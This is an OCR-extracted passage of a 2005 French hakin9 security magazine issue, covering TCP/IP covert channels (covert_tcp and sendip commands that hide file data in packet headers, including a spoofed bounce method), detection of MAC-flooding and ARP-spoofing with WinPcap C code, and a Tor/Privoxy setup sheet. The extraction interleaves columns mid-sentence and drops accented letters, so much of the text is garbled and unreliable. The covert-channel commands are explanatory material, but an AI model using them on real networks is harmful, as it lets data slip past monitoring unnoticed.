cette connexion en rgle g- Figure 17. Utiliser le champ Numro d'accus de rception expditeur
nrale, ce segment SYN ne sert
pas envoyer les donnes mais
il contient seulement l'en-tte IP,
l'en-tte TCP et les ventuelles
options TCP,
le serveur doit confirmer la
rception du segment SYN en
provenance du client et envoyer
son propre segment SYN con-
tenant le numro de squence
initial ( savoir ISN+1) que le
serveur va envoyer lors de cette
connexion le serveur envoie
dans un segment SYN un accus
de rception ACK (en anglais ac-
knowledgment), Figure 18. Utiliser le champ Numro d'accus de rception destinataire

hakin9 N o 4/2005 www.hakin9.org 65


$ covert_tcp \
-source <IP de l'expditeur> \ Cration manuelle des messages stganographiques
-dest <IP du destinataire> \ Pour crer un message stganographique, il est possible d'utiliser deux logiciels
-source_port 20 \ SendIP servant envoyer les paquets et tcpdump permettant d'intercepter le trafic
-dest_port 20 \ TCP. Admettons que nous voulions envoyer de faon secrte un message au con-
-seq \ tenu hakin9. Choisissons alors l'un des plusieurs algorithmes possibles nous allons
-file <fichiers avec les donnes> cacher le message dans le champ Identification du datagramme IP. Pour envoyer la
premire lettre du message, il faut taper la commande suivante :
Le destinataire doit galement d- # sendip -p ipv4 -ii 104 -p tcp -td 80 192.168.1.2
marrer l'application covert_tcp en
mode serveur : Ces drapeaux signifient que nous voulons utiliser les protocoles IPv4 et TCP (-p ipv4,
-p tcp) pour envoyer le paquet au port 80 (-td 80) de l'hte l'adresse 192.168.1.2.
$ covert_tcp \ La valeur du champ Identification est pourtant la plus importante 104 (-ii 104). Dans
-source_port 20 \ le code ASCII, ce nombre correspond la lettre h.
-server \
Pour envoyer tout le texte du message (hakin9), il faut rpter la procdure pour
les lettres suivantes en modifiant les valeurs du champ Identification : 104 pour la lettre
-seq \
h, 97 a, 107 k, 105 i, 110 n et 57 pour le chiffre 9. Le code ASCII complet est
-file <fichier enregistrer>
disponible la page http://www.neurophys.wisc.edu/www/comp/docs/ascii.html.
Pour lire le message, le destinataire doit dmarrer pralablement l'application
L'expditeur est prsent sur la tcpdump coutant sur le port 80 :
Figure 14 et le destinataire sur la
Figure 15. # tcpdump -vvv dst port 80

La valeur cache par l'expditeur se trouvera dans le champ id :


Utiliser le rebondissement du
numro d'accus de rception 15:58:00.491516 192.168.1.1.0 > 192.168.1.2.http:
du paquet TCP S [tcp sum ok] 3843951135:3843951135(0)
Pour envoyer les donnes via un win 65535 (ttl 255, id 104, len 40)
canal cach, vous pouvez gale-
ment utiliser le rebondissement (en
anglais bounce) du numro d'accus dans le paquet, le serveur B dirige $ covert_tcp \
de rception (en anglais acknowled- la rponse avec les donnes codes -source_port 1234 \
gment number). Dans cette m- (comprises dans le segment SYN -server \
thode, l'expditeur envoie un paquet incrment de 1) vers le serveur C. -ack \
contenant : Finalement, le serveur C reoit le pa- -file <fichier enregistrer>
quet et il dcode les donnes.
un faux numro IP de l'adresse Grce cette mthode, il est pos- Le ct expditeur et destinataire sont
source, sible d'envoyer les donnes un r- prsents sur les Figures 17 et 18.
un faux numro du port source, seau scuris. Dans ce cas, on peut
un faux numro IP de l'adresse admettre que le serveur C se trouve Dfauts et problmes
destination, sur le rseau protg, qu'il puisse Les protocoles de la famille TCP/IP
un faux numro du port destina- recevoir seulement les donnes en ont plusieurs faiblesses et leur uti-
tion, provenance du serveur B et qu'il ne lisation habile peut poser un gros
un segment SYN contenant les puisse pas tablir la connexion au problme comme dans le cas, par
donnes sous la forme code. client A. Si c'est le cas, l'expditeur exemple d'une divulgation de dif-
est oblig de dmarrer l'application frentes informations importantes
Pour consulter le schma de cette m- via la commande suivante : et confidentielles. La protection
thode, reportez-vous la Figure 16. contre ce type de danger est assez
A est un client envoyant les donnes, $ covert_tcp \ difficile. Le filtrage des paquets
B un serveur qui rebondit les don- -source <IP du destinataire> \ n'est efficace que dans le cadre
Science

nes et C leur destinataire rel. -source_port 1234 \ de la premire mthode, de dissi-


Le client A envoie un faux paquet -dest <IP du serveur rebondissant mulation de donnes, dcrite, sa-
avec une information code vers les donnes> \ voir : la manipulation des champs
le serveur B. Ce paquet comprend -seq \ redondants dans les en-ttes de
une adresse du serveur C dans le -file <fichier avec les donnes> protocoles. En ce qui concerne
champ rserv l'adresse source. la mthode des donnes caches
Le serveur B rpond en envoyant Le destinataire doit galement d- dans les champs obligatoires, cette
un segment SYN/RST ou SYN/ACK. marrer l'application covert_tcp en solution n'est pas suffisante. n
Voyant une fausse adresse source mode serveur :

66 www.hakin9.org hakin9 N o 4/2005


Dtection du sniffing
dans les rseaux
commuts
Daniel Kaczorowski, Maciej Szmit

L'coute dans les rseaux


commuts est effectue
principalement l'aide de
deux mthodes : MAC-flooding
et ARP-spoofing. Pourtant
contrairement au sniffing
classique dans les rseaux
construits sur la base des
concentrateurs ces deux types
d'attaques sont des attaques
actives. La dtection n'est
gnralement pas facile, mais
possible.

C
ontrairement au concentrateur (hub), nous allons commencer par un exemple plus
le commutateur (switch) transfre simple, c'est--dire MAC-flooding.
les trames seulement entre les ports
appropris ceux auxquels sont connects Attention inondation !
respectivement l'expditeur et le destinataire MAC-Flooding consiste inonder le rseau
du message. Les dcisions concernant l'envoi par des trames avec des fausses adresses. En
du message arrivant vers les ports appropris gnral, ces trames sont envoyes par l'intrus
sont prises partir de la table d'adresses une adresse de diffusion ou une adresse qui
matrielles stocke dans la mmoire du com- n'existe pas dans le rseau. Ces trames par-
mutateur lies aux numros de ses ports. viendront notre carte dans les deux cas que
Le commutateur pendant son fonctionnement l'attaque soit russie ou non (si l'assaillant les
apprend ( partir de l'adresse de l'expditeur adresse notre voisin, elles ne parviendront
se trouvant dans les trames qui y parviennent) notre machine qu'au cas o l'attaque sur le
les adresses matrielles des priphriques commutateur a russi). Alors, si les trames
Fiche technique

connects aux ports spcifiques.


Vu ce mode de fonctionnement du commu-
tateur, les mthodes d'coute traditionnelles ne Cet article explique...
peuvent pas tre exploites dans les rseaux
comment les intrus effectuent l'coute dans les
commuts les trames ne parviennent pas rseaux commuts,
aux autres utilisateurs. Deux autres mthodes comment dtecter le sniffing dans les systmes
sont utilises : MAC-flooding et ARP-spoofing. Windows.
Chaque administrateur rencontrera, tt ou tard,
des pirates adolescents (de l'anglais script kid- Ce qu'il faut savoir...
die,) qui tenteront d'intercepter le trafic rseau
l'aide de ces mthodes (cf. l'Encadr MAC- les notions de base de la programmation en C
flooding et ARP-spoofing). Mais cette coute pour Windows.
peut tre dtecte. Voyons comment le faire

68 www.hakin9.org hakin9 N o 4/2005


Dtection du sniffing

tor permet d'effectuer une simulation


MAC-flooding et ARP-spoofing de l'attaque de type MAC-flooding
Pendant quelque temps aprs la mise en marche ou la rinitialisation d'un commuta- chacun peut tester si les commuta-
teur, les trames sont envoyes vers tous les ports (de mme que dans le cas d'un con- teurs qu'il utilise sont vulnrables ce
centrateur). Ensuite, quand le commutateur aura mmoris tous les liens des adresses type d'agression. Pour pouvoir exploi-
physiques aux ports, les trames ne parviendront qu'au port li l'adresse approprie. ter cet outil, la bibliothque WinPcap
Quand nous branchons un priphrique sur un autre port, il ne recevra pas les trames doit tre installe (cf. l'Encadr Sur
jusqu' ce qu'il envoie une information au switch qui se rendra alors compte qu'il est Internet) sur le CD, vous trouve-
branch sur un autre port.
rez la version 3.0 de celle-ci. Pour
MAC-flooding consiste inonder le commutateur d'un grand nombre de trames
effectuer un test dtectant l'attaque,
ayant les adresses sources MAC inexistantes dans le rseau afin de saturer la m-
il faut choisir le sous-programme An-
moire destine l'affectation des adresses aux ports spcifiques. Le commutateur
inond commence se comporter comme un concentrateur ordinaire il envoie les tyMACflooding. La fentre principale
trames obtenues vers tous ses ports. Cette mthode n'est efficace que dans le cas du sous-programme est prsente
des commutateurs les moins chers, dans lesquels la mmoire destine rsoudre une sur la Figure 1.
adresse MAC en un numro de port est assez petite et commune tous les ports. Au dbut du test, il faut choisir la
ARP-spoofing est une mthode plus efficace car elle n'attaque pas le commuta- carte rseau (si l'ordinateur en pos-
teur, mais la victime qui envoie les informations une fausse adresse physique. Cette sde plusieurs) via laquelle l'analyse
attaque consiste se faire passer pour l'un des ordinateurs du rseau local (souvent, sera effectue. Pour ce faire, nous
pour des raisons videntes, pour une passerelle Internet) par l'envoi de fausses trames slectionnons l'un des champs de
ARP-Reply contenant les correspondances falsifies (c'est--dire l'affectation des
la liste contenant les identifiants de
adresses IP aux adresses MAC) indiquant que la nouvelle adresse MAC correspon-
toutes les interfaces rseaux dispo-
dant l'adresse IP est celle de la machine de l'assaillant. Ainsi, tout ce qui tait destin
nibles dans le systme. L'utilisateur
la passerelle est envoy vers l'intrus qui pour que l'attaque reste inaperue doit
envoyer les paquets reus la vraie passerelle. a aussi la possibilit de dterminer
L'attention est attire sur le fait que les correspondances ARP stockes dans la la dure de collection des donnes
mmoire cache (ARP-cache) du commutateur sont mises jour par le systme mme (c'est--dire des adresses physi-
dans le cas o ce dernier reoit un paquet ARP-reply. Cette situation a lieu mme si le ques MAC) partir des ordinateurs
commutateur n'a pas envoy de requte ARP-request. Cela facilite beaucoup la tche prsents dans le rseau et le temps
aux pirates. d'analyse des trames rceptionnes
par la carte la dure de test plus
longue amliore la prcision de
rceptionnes par notre carte ont pas destine, nous pouvons sup- l'outil.
l'adresse d'un expditeur qui n'existe poser que notre commutateur est Une fois les informations sur les
pas dans notre rseau, cela signi- inond, ce qui veut dire que nous adresses physiques collectes, le
fie que quelqu'un essaie d'inonder avons faire une attaque russie programme commence intercepter
(en anglais flood) le commutateur. de type MAC-Flooding. et analyser les trames entrantes.
Il ne nous reste qu'a vrifier quelles Pour dtecter une attaque effec- Aprs le temps dtermin prc-
adresses MAC sont rellement pr- tue par la mthode MAC-flooding, demment, il affiche les statistiques.
sentes dans notre rseau. il faut analyser toutes les trames qui Les trames rceptionnes sont ran-
Il se peut qu'une trame adres- parviennent notre carte rseau. gs en groupes appropris :
se un ordinateur inconnu par le Au rseau commut, qui n'est pas
commutateur apparaisse dans ce l'objectif des attaques, arrivent les les trames de diffusion (broad-
cas, le commutateur se comporte trames de diffusion (broadcast), cast),
comme un concentrateur ordinaire de groupe (multicast) et les trames les trames de groupe (multicast),
et envoie cette trame tous ses adresses notre machine. L'ad- les trames adresses une carte
ports. Une telle situation ne doit pas ministrateur doit prparer une liste rseau concrte,
avoir lieu avant d'envoyer une tra- des adresses physiques des ordi- les trames adresses aux autres
me un ordinateur, il faut demander nateurs dans son rseau, ou utiliser utilisateurs.
son adresse physique (dans le cas un programme spcial demandant
des piles TCP/IP l'aide de d'une ( l'aide du protocole ARP) toutes Les trames ayant une adresse phy-
requte de diffusion ARP-request), les adresses IP du rseau local leurs sique qui n'appartient aucun ordi-
et celui-ci rpond par la trame ARP- adresses physiques, et ensuite, ana- nateur trouv dans le rseau (celles
reply approprie partir de laquelle lyser le trafic parvenant sa carte. qui sont suspectes d'avoir pour
le commutateur dduit la localisation Pour dtecter MAC-flooding, nous but d'inonder le commutateur) sont
de l'ordinateur portant cette adresse allons utiliser le programme MACMa- mises en vidence (couleur rouge).
MAC. Donc, si notre interface rseau nipulator (disponible sur le CD joint au Le programme n'avertit pas l'utilisa-
reoit une trame (et pire encore magazine), un outil gratuit pour l'envi- teur, mais les statistiques peuvent
plusieurs trames) qui ne nous est ronnement Windows. MACManipula- tre trs inquitantes (comme celle

hakin9 N o 4/2005 www.hakin9.org 69


mme, doivent savoir tout sur leurs
rseaux.
MAC-flooding est une technique
trs facile dtecter. Quant ARP-
spoofing ce type d'attaque est
un peu plus complique et nces-
site d'autres mthodes de dtection.
Voyons comment dtecter cette
attaque dans un rseau bas sur les
systmes Windows.

Quand deux disent


tre le mme
ARP-spoofing
L'attaque ARP-spoofing est une
attaque trs efficace et cela pas
seulement dans le cas de commu-
tateurs (cf. l'Encadr MAC-flooding
et ARP-spoofing). Elle contraint
la victime envoyer ses donnes
l o celles-ci ne devraient jamais
parvenir mme si le rseau est
Figure 1. La fentre principale du sous-programme AntyMACflooding commut et indpendamment du
nombre du priphriques rseau tra-
verss. De plus, les concepteurs du
systme d'exploitation Windows, ont
implment ARP de faon rendre
l'attaque plus facile :

chaque rponse ARP-reply arri-


vant change les inscriptions dans
la table locale ARP (peu importe
si l'ordinateur auquel celle-ci par-
vient le demandait),
mme les inscriptions effectues
dans la table de correspondan-
ces ARP (ARP-cache) manuelle-
ment par l'administrateur restent
statiques jusqu'au moment o un
paquet ARP-reply apparat.

Admettons que nous disposons de


la liste des adresses physiques dans
Fiche technique

Figure 2. Le rsultat de l'analyse du programme AntyMACflooding notre rseau, mais nous n'avons pas
de temps pour vrifier si l'une d'elles
sur la Figure 2) environ la moiti et envoient des trames inconnues n'a pas chang (le programme sous
des trames interceptes ont t en- ne pouvant pas tre identifies par Linux arpwatch ou un systme de
voyes partir d'adresses physiques notre programme. Mais c'est un outil dtection des intrus appropri peu-
MAC inconnues. pour les administrateurs qui, quand vent le faire pour nous). L'unique
Bien sr, il peut arriver que
pendant l'coute, de nouveaux or-
dinateurs se sont joints au rseau, Sur Internet
ou bien il existe des machines uti-
lisant une autre pile de protocoles http://www.kis.p.lodz.pl/~mszmit/zasoby.html le paquet d'outils pour le sniffing,
http://winpcap.polito.it/install/default.htm la bibliothque WinPcap.
par exemple IPX/SPX, qui n'ont
pas rpondu aux requtes ARP

70 www.hakin9.org hakin9 N o 4/2005


Dtection du sniffing

chose que nous pouvons faire est


de demander tous les ordinateurs
de notre rseau leurs adresses MAC
et vrifier si l'une des requtes
deux rponses sont arrives. Bien
sr, si le pirate se faisant passer
pour l'un des priphriques l'arrte
(p. ex. l'aide d'une attaque DoS ou
physiquement en coupant l'alimen-
tation), l'attaque ne pourra pas tre
dtecte.
Pour effectuer l'analyse, utilisons
ARPanalyzer, l'outil gratuit pour Win-
dows (disponible aussi sur le CD
joint au magazine). ARPanalyzer
effectue galement la simulation
des attaques de type ARP-spoofing
(il est impossible de l'utiliser dans la
pratique ; pour ce faire, il est d'ha-
bitude ncessaire de rediriger les
trames interceptes vers le vrai des-
tinataire). La fentre principal du pro-
gramme ARPanalyzer est prsente
sur la Figure 3.
La vrification des rseaux LAN
afin de dtecter les utilisateurs se
faisant passer pour d'autres utilisa-
Figure 3. La fentre principale du programme ARPanalyzer
teurs peut tre effectue dans le
programme ARPanalyzer l'aide de
trois tests.
Le premier d'entre eux quiz
from my address consiste effec-
tuer la requte ( travers le protocole
ARP) sur l'adresse physique l'aide
de notre propre adresse MAC. L'at-
taque sera dtecte, si l'assaillant a
choisi notre ordinateur pour victime.
Dans ce cas, nous essayons de
demander (en nous servant de notre
propre adresse en tant qu'adresse
de l'expditeur), par exemple,
l'adresse de la passerelle Internet
et nous attendons l'arrive des r-
ponses s'il y en a plus d'une, l'atta-
que ARP-spoofing a eu lieu.
Le deuxime profite du fait que
d'habitude l'intrus ne choisit pas
comme objectif de l'attaque l'or-
dinateur de l'administrateur. C'est
pourquoi, une bonne ide est de se
faire passer pour une victime poten-
tielle de l'attaque (l'option d'ARPs-
poofing), cela veut dire, de falsifier
notre propre requte ARP-request.
videmment, le commutateur (
moins que nous ayons un rseau
commut) apprendra trs vite que Figure 4. Le rsultat de l'excution du programme ARPanalyzer

hakin9 N o 4/2005 www.hakin9.org 71


c'est notre port qu'il faut adresser
tout le trafic destin la victime.
Usage de la bibliothque WinPcap pour recevoir
la suite de cette manipulation, la
victime sera dconnecte du rseau et envoyer les trames ethernet
La bibliothque WinPcap permet l'analyse des donnes rceptionnes via la
naturellement, seulement jusqu'au
carte rseau. C'est une bibliothque gratuite pour l'environnement Windows, cre
moment o celle-ci enverra dans le
l'cole Polytechnique de Turin (Italie). Elle offre des fonctionnalits similaires
rseau quelque chose qui permettra celles disponibles dans la bibliothque libpcap sous *NIX. Elle est indispensable
au commutateur de mmoriser sa pour faire fonctionner le paquet d'outils prsent dans l'article. Comment l'auteur
localisation. Dans le pire des cas l'a-t-il utilise pour crer les outils ? Comment pouvons-nous l'exploiter dans notre
(quand la victime effectue une trans- propre programme pour l'analyse du trafic rseau ?
mission importante des donnes), Au dbut, il faut dclarer les structures correspondant aux en-ttes appropris
il peut arriver que la fausse rponse des protocoles. Ces structures permettent de se rfrer aux champs appropris de
de l'assaillant que nous avons pro- l'en-tte. La structure ip _ address (Listing 1) correspond l'adresse IP, la struc-
voque ne parvienne pas notre ture hw _ address (Listing 2) correspond l'adresse physique MAC, et arp _ header
(Listing 3) est une structure qui reflte les champs spcifiques de l'en-tte du pro-
ordinateur, mais la vraie victime.
tocole ARP.
Il n'existe pas de mthode simple
Avant d'appeler les fonctions, il faut dclarer les variables appropries. Ces
pour y remdier, mais la plus efficace
variables serviront stocker les pointeurs vers certaines ressources rseau
consiste dbrancher la victime po- (cf. le Listing 4).
tentielle du rseau pendant les tests. Dans l'tape suivante, il faut tlcharger les identifiants de toutes les cartes
Il est prfrable de le faire (le test rseau disponibles qui se trouvent dans le systme :
ne dure que quelques secondes, et
l'utilisateur ne s'en apercevra mme if (pcap_findalldevs(&alldevs, errbuf) == -1)

pas), si non, nous pouvons nous at- { //erreur }

tendre un coup de tlphone de la


Ensuite, il faut choisir une interface rseau. Pour ce faire, nous pouvons utiliser la
part d'un utilisateur inquiet par une structure suivante (inum doit tre compris dans l'intervalle des nombres des cartes
information disant que le Systme a disponibles) :
dtect un conflit d'adresses.
Par contre, si nous ne savons pas for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
qui et pour quel ordinateur il faut se
Grce cela, les donnes reues et analyses proviendront de la mme carte rseau.
faire passer, l'unique possibilit est
La passage de la carte rseau en mode gnral nous permettra l'accs aux don-
de demander tout le rseau sur notre
nes sur chaque couche elle est ralise l'aide de la fonction pcap _ open _ live.
propre adresse (demande de rsou- Pendant l'appel de la fonction ci-dessus, il faut prter l'attention la taille maximale des
dre toutes les adresses IP du rseau donnes. Au cas o l'on rceptionne des donnes, cette taille doit tre gale la valeur
local entier). maximale des donnes possible envoyer travers le rseau, par contre, pour l'envoi,
Aprs avoir dmarr le program- la taille des donnes doit correspondre la taille des donnes envoyer. L'appel de la
me et choisi la carte rseau exa- fonction pcap _ open _ live est prsent dans le Listing 5.
miner, cliquez sur le bouton Check. La dfinition d'un filtre permet de slectionner les donnes rceptionnes. Grce
Comme rsultat de chaque test, on cela, ne seront envoyes aux couches suprieurs que les donnes qui correspondent
obtient un message informant sur aux critres dtermins. Dans notre cas, ce sont les paquets ARP (cf. le Listing 6).
L'coute des trames est ralise dans une boucle. La dfinition du filtrage
le nombre de rponses obtenues
nous garantit que seuls les paquets ARP seront reus. L'affectation de la structure
notre requte.
arp _ header aux donnes rceptionnes (pkt _ data) permettra de se rfrer aux
Si le rsultat ressemble ce-
champs spcifiques de l'en-tte (Listing 7). La situation sera diffrente, si nous vou-
lui prsent sur la Figure 4, nous lons envoyer les donnes l'aide du programme cr. Dans ce cas, il faut crer une
pouvons tre srs que notre rseau structure approprie (dans ce cas, ce sera une trame ethernet).
Fiche technique

a t attaqu par un intrus. Si le pro-


gramme n'annonce aucune rponse u_char packet[100]; //table correspondant la trame entire
double, il est probable que notre
Les lignes successives du code rempliront les octets de la trame dclare. Les six
rseau est protg. Mais il se peut
premiers octets correspondent l'adresse MAC physique du destinataire de la trame,
que l'intrus exploite une technique
et les six suivants l'adresse MAC de l'expditeur (cf. le Listing 8).
que nous ne sommes pas capables Enfin, il faut remplir les autres octets de la trame. Au moyen de la fonction
de dtecter. pcap _ sendpacket, nous envoyons la trame toute prte via la carte rseau choisie
prcdemment :
Conclusion
Il est plus difficile de dtecter les for(i=12;i<100;i++)

tentatives de sniffing dans les sys- { packet[i]=i%256; }


pcap_sendpacket(fp, packet, 100);
tmes Windows que dans les syst-
mes de la famille *NIX. moins que

72 www.hakin9.org hakin9 N o 4/2005


Dtection du sniffing

Listing 1. La structure Listing 6. Le filtre responsable de la slection des donnes rseau


ip _address
if(d->addresses != NULL) {
typedef struct ip_address netmask=((struct sockaddr_in *)(d->addresses->netmask))
{ ->sin_addr.S_un.S_addr;
u_char byte1; } else {
u_char byte2; netmask=0xffffff;
u_char byte3; }
u_char byte4; if(pcap_compile(adhandle, &fcode, filter, 1, netmask) <0 ) {
}ip_address; //erreur
}
if(pcap_setfilter(adhandle, &fcode)<0) {
//erreur
Listing 2. La structure }

hw_address

typedef struct hw_address


Listing 7. L'affectation de la structure arp _entte aux donnes reues
{
u_char byte1; arp_header *headerARP;
u_char byte2; while((res = pcap_next_ex( adhandle, &header, &pkt_data)) >= 0) {
u_char byte3; if(res == 0)
u_char byte4; continue; //au cas o le temps de retard est dpass
u_char byte5; arpRequest=(arp_header*)(pkt_data+14);
u_char byte6; //dans la partie suivante, on se rfre aux champs de la structure arp_header
}hw_address; }

Listing 3. La structure arp _header Linux possde des outils standards


permettant d'envoyer et de mani-
typedef struct arp_header{ puler les paquets, les produits de
u_short t_hardware; //hardware type
Microsoft ne sont pas dots d'une
u_short t_protocol; //protocol type
u_char h_len; //hardware address length telle fonctionnalit. Pour y remdier,
u_char p_len; //protocol address length nous pouvons utiliser la bibliothque
u_short option; //operation WinPcap, correspondant au paquet
hw_address s_mac; //Sender hardware address libpcap sous *NIX (cf. l'Encadr Usa-
ip_address saddr; //Sender protocol address
ge de la bibliothque WinPcap pour
hw_address d_mac; //Target hardware address
ip_address daddr; //Target protocol address recevoir et envoyer les trames ether-
}arp_header; net). Elle a t utilise par l'auteur de
cet article pour crer le jeu d'outils
prsent, qui sera fort utile chaque
Listing 4. La dclaration des variables administrateur des rseaux bass
sur Microsoft Windows voulant con-
pcap_if_t *alldevs; //pointeur vers la liste contenant cevoir ses propres applications pour
//les identifiants de toutes les cartes
manipuler les paquets rseau. n
//dans le systme
pcap_if_t *d; //pointeur vers la carte rseau choisie
pcap_t *adhandle; //pointeur vers la carte ouverte Listing 8. Le code responsable
char errbuf[PCAP_ERRBUF_SIZE]; //tampon identifiant les erreurs produites
des adresses MAC
char filter[] = "arp"; //nom des trames filtres
packet[0]=1;
packet[1]=1;
packet[2]=1;
Listing 5. L'appel de la fonction pcap _open_live
packet[3]=1;
packet[4]=1;
if ( (adhandle= pcap_open_live(d->name, //nom de la carte rseau
packet[5]=1;
65536, //taille maximale
//des donnes rceptionnes
packet[6]=2;
//(y compris l'en-tte de la trame)
packet[7]=2;
1, //mode gnral
packet[8]=2;
1000, //valeur du retard de lecture des donnes
packet[9]=2;
errbuf // pointeur vers le tampon de l'erreur
packet[10]=2;
) ) == NULL)
packet[11]=2;
{ //erreur }

hakin9 N o 4/2005 www.hakin9.org 73


www.shop.software.com.pl/fr

Abonnez-vous vos magazines prfrs


et commandez des anciens numros !

Vous pouvez en quelques minutes et en toute scurit vous abonner votre magazine prfr.
Nous vous garantissons :
des tarifs prfrentiels,
un paiement en ligne scuris,
la prise en compte rapide de votre commande.
Abonnement en ligne scuris tous les magazines de la maison ddition Software !
bulletin dabonnement
Merci de remplir ce bon de commande et de nous le retourner par fax : 0048 22 860 17 71 ou par courrier :
Software-Wydawnictwo Sp. z o.o., Lewartowskiego 6, 00-190 Varsovie, Pologne ; Tl. 0048 22 860 17 68 ;
E-mail : abonnement@software.com.pl

Prnom Nom ............................................................................................... Entreprise ...................................................................................................

Adresse .................................................................................................................................................................................................................................

Code postal ................................................................................................ Ville ..............................................................................................................

Tlphone ................................................................................................... Fax ...............................................................................................................

Je souhaite recevoir l'abonnement partir du numro .....................................................................................................................................................

E-mail (indispendable pour envoyer la facture) .................................................................................................................................................................

o Prolongement automatique dabonnement

Nombre de Nombre

Titre
partir du
numros dabonne- Prix
numro
annuels ments
Software Developers Journal (1 CD)
anciennement Software 2.0 12 54
Mensuel pour les programmeurs professionnels
Software Developers Journal Extra! (1 CD)
anciennement Software 2.0 Extra! 6 38
Hors-srie du magazine Software Developers Journal

Linux+DVD (2 DVDs) 12 86
Mensuel unique avec 2 DVDs consacr Linux et ses utilisateurs

Collection Linux+ Distributions (4-7 CDs ou 2 DVDs) 6 50


Distributions Linux les plus populaires

PHP Solutions (1 CD) 6 38


Le plus grand magazine sur PHP au monde
Hakin9 comment se dfendre ? (1 CD)
Bimestriel destin aux personnes qui sintressent la scurit des 6 38
systmes informatiques

Aurox Linux (3 DVDs) 4 38


Trimestriel avec distribution Linux complte

.PSD (2 CDs) 6 39
Bimestriel pour les utilisateurs dAdobe Photoshop

Total

Je rgle par :
Carte bancaire n CB expire le date et signature obligatoires
type de carte .......................................................................... code CVC/CVV
Virement bancaire :
Nom banque : Socit Gnrale Chasse/Rhne
banque guichet numro de compte cl Rib
30003 01353 00028010183 90
IBAN : FR76 30003 01353 00028010183 90
Adresse Swift (Code BIC) : SOGEFRPP
Tor
Systme : Windows, MacOS X, *NIX
Licence : Base sur la licence BSD
But : Proxy SOCKS anonyme
Fiche technique
Page d'accueil : http://tor.eff.org/

Le proxy anonyme fonctionnant sur le principe du rseau distribu. Il permet


toutes les applications qui possdent SOCKS4 d'tablir des connexions
anonymes, slectionnes de faon alatoire dans le rseau de relais. Il est
galement possible de dmarrer notre propre relais.

Dmarrage rapide Windows : Admettons que nous SocksPolicy accept 192.168.1.0/24


voulons pouvoir nous connecter anonymement des RunAsDaemon 1
pages Web partir du systme Windows XP.
Lors de l'installation de Tor, il est recommand de Aprs l'dition du fichier, nous lanons tor : tor --user
cocher l'option Run at startup, pour que le logiciel soit lanc tor. Si Tor doit tre dmarr lors du dmarrage du sys-
au dmarrage du systme. Aprs l'installation, le client Tor tme, nous crons les scripts de dmarrage dans /etc/
est dmarr et la fentre de la console est ouverte (il ne faut rc.d ou /etc/init.d (conformment notre distribution).
pas la fermer). Une fois lanc, Tor accepte les connexions Comme pour Windows, une fois Tor install
SOCKS4 sur le port 9050. Nanmoins, pour se connecter et dmarr, il est ncssaire d'installer Privoxy. Une fois
aux pages Web de faon tout fait anonyme (les requtes l'installation termine, il faut diter le fichier de configu-
DNS ne passent pas par SOCKS4), il est prfrable d'ins- ration /etc/privoxy/config et ajouter au dbut la ligne
taller Privoxy. Privoxy peut tre tlcharg partir de la suivante :
page http://www.privoxy.org. Aprs l'installation et le lance-
ment, l'icne du programme s'affiche dans le system tray. forward-socks4a / 192.168.1.1:9050 .
Cliquez sur cette icne avec le bouton droit de la souris
et slectionnez l'option Edit->Main Configuration. Dans le Il ne faut pas oublier de changer l'option :
fichier de configuration ajoutez la ligne :
listen-address 192.168.1.1:8118
forward-socks4a / localhost:9050 .
pour que Privoxy coute sur l'adresse dans le rseau
Ensuite, sauvegardez le fichier et fermez la fentre. local, et pas seulement localhost. Ensuite, nous lanons
partir de ce moment, Privoxy transfre toutes les privoxy :
connexions vers Tor. Maintenant il suffit de configurer le
proxy pour qu'il se connecte via localhost sur le port 8118. # /usr/sbin/privoxy --user privoxy /etc/privoxy/config
Ensuite, allez la page http://ipid.shat.net/ et vrifiez si
l'adresse IP affiche est la vtre. Si ce n'est pas le cas, Nous pouvons aussi crer les scripts de dmarrage. la
cela signifie que Tor fonctionne correctement. fin, nous crons le proxy transparent l'aide de l'iptables,
Dmarrage rapide Linux : Admettons que nous en ajoutant la configuration du pare-feu la ligne :
sommes administrateurs d'un petit serveur, et nous vou-
lons que toutes les connexions de nos utilisateurs avec iptables -t nat -A PREROUTING -p TCP -i eth0 --dport 80 \
les sites Web soient anonymes. -j REDIRECT --to-port 8118
Nous dcompactons les sources et les compilons de
faon standard (./configure, make, make install). Nous o nous dterminons qu'eth0 est une interface locale.
crons le rpertoire usr/local/var/lib/tor et l'utilisateur tor Toutes les connexions des utilisateurs au port 80 sur
avec ce rpertoire comme rpertoire personnel. cette interface seront rediriges vers le port 8118 Pri-
Avant de lancer tor, il faut copier le fichier /usr/local/ voxy, qui, son tour, se connectera Tor.
etc/tor/torrc.sample vers /usr/local/etc/tor/torrc et ouvrir Autres qualits : Vu que Tor est le proxy SOCKS4, il est
le fichier cible pour dition. Pour que tor accepte les con- possible d'tablir les connexions anonymes du niveau de
nexions partir du rseau local entier (en admettant que chaque application possdant l'interface SOCKS4 int-
notre rseau local a les adresses 192.168.1.0/24, et le gre (sur le port 9050). Grce cela, nous pouvons nous
serveur : 192.168.1.1), nous configurons les options : connecter anonymement, par exemple, avec l'IRC ou les
groupes de discussion.
SocksPort 9050
SocksBindAddress 192.168.1.1 Tomasz Nidecki

76 www.hakin9.org hakin9 N o 4/2005


Dans le numro suivant, vous
trouverez, entre autres :

MacOS X scurit
du kernel
Malgr la participation modeste du
systme dexploitation MacOS X
sur le march, celui-ci est trs
populaire dans certains domaines.
Le systeme est gr par un noyau
moderne bas sur le microkernel
Mach et en partie sur FreeBSD.
Il savre cependant que cette
solution nest pas dpourvue de
dfauts. Ilja van Sprundel vous
dcrit les points faibles du systme
conu par la socit Apple.

Points faibles des Scurit de la Sur le CD


tlphones GSM machine virtuelle
Les tlphones mobiles deviennent Java hakin9.live distribution Linux
de plus en plus compliqus et ce Le Java populaire et notamment sa bootable,
qui en rsulte, moins scures. machine virtuelle (Java VM) nest beaucoup doutils indispen-
Lutilisation des erreurs prsentes pas compltement scure con- sables pour chaque hacker,
dans les systmes dexploitation trairement aux apparences. Dans tutoriaux exercices pratiques
grant les portables peut finir par certaines conditions, il est mme concernant les problmes
une attaque russie. Cest larticle possible daccder directement dcrits dans les articles,
dOlivier Patole qui porte sur ces la mmoire. Tomasz Rybicki documentation supplmen-
problmes. vous prsente les problmes les taire.
plus importants lis avec Java VM
et il explique comment les viter.

Tests de pntration Attaques contre Pour trouver les


externes VoIP informations actuelles
La scurit relle des systmes La technologie VoIP (Voice over sur le prochain numro,
rseaux peut tre vrifie unique- Internet Protocol) remporte un allez la page
ment laide des tests de pn- grand succs elle permet de
tration. Cependant, les tests de ce rduire considrablement les
http://www.hakin9.org
type effectus du ct du LAN cots des conversations tlpho- Le numro sera
ne donnent pas des informations niques et la qualit des connexions
disponible en vente au
